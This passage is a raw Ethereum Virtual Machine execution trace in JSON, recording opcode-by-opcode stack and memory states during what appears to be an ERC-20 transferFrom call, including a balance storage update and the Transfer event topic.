as":83476,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12667,"op":"DUP3","gas":83473,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12668,"op":"NOT","gas":83470,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x0","0x4563918244f40000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12669,"op":"DUP3","gas":83467,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffba9c6e7dbb0bffff"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12670,"op":"GT","gas":83464,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x0","0xffffffffffffffffffffffffffffffffffffffffffffffffba9c6e7dbb0bffff","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12671,"op":"ISZERO","gas":83461,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x0","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12672,"op":"PUSH2","gas":83458,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12675,"op":"JUMPI","gas":83455,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x0","0x1","0x318b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12683,"op":"JUMPDEST","gas":83445,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12684,"op":"POP","gas":83444,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12685,"op":"ADD","gas":83442,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12686,"op":"SWAP1","gas":83439,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12687,"op":"JUMP","gas":83436,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x2bda9a60795e41856a32","0x1e63"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7779,"op":"JUMPDEST","gas":83428,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7780,"op":"SWAP3","gas":83427,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7781,"op":"POP","gas":83424,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x2bda9a60795e41856a32","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x4563918244f40000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7782,"op":"POP","gas":83422,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x2bda9a60795e41856a32","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7783,"op":"DUP2","gas":83420,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x2bda9a60795e41856a32","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7784,"op":"SWAP1","gas":83417,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x2bda9a60795e41856a32","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7785,"op":"SSTORE","gas":83414,"gasCost":2900,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x2bda9a60795e41856a32","0x2bda9a60795e41856a32","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7786,"op":"POP","gas":80514,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7787,"op":"DUP3","gas":80512,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7788,"op":"PUSH1","gas":80509,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7790,"op":"PUSH1","gas":80506,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7792,"op":"PUSH1","gas":80503,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7794,"op":"SHL","gas":80500,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7795,"op":"SUB","gas":80497,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7796,"op":"AND","gas":80494,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7797,"op":"DUP5","gas":80491,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7798,"op":"PUSH1","gas":80488,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7800,"op":"PUSH1","gas":80485,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7802,"op":"PUSH1","gas":80482,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7804,"op":"SHL","gas":80479,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7805,"op":"SUB","gas":80476,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7806,"op":"AND","gas":80473,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7807,"op":"PUSH32","gas":80470,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7840,"op":"DUP5","gas":80467,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7841,"op":"PUSH1","gas":80464,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b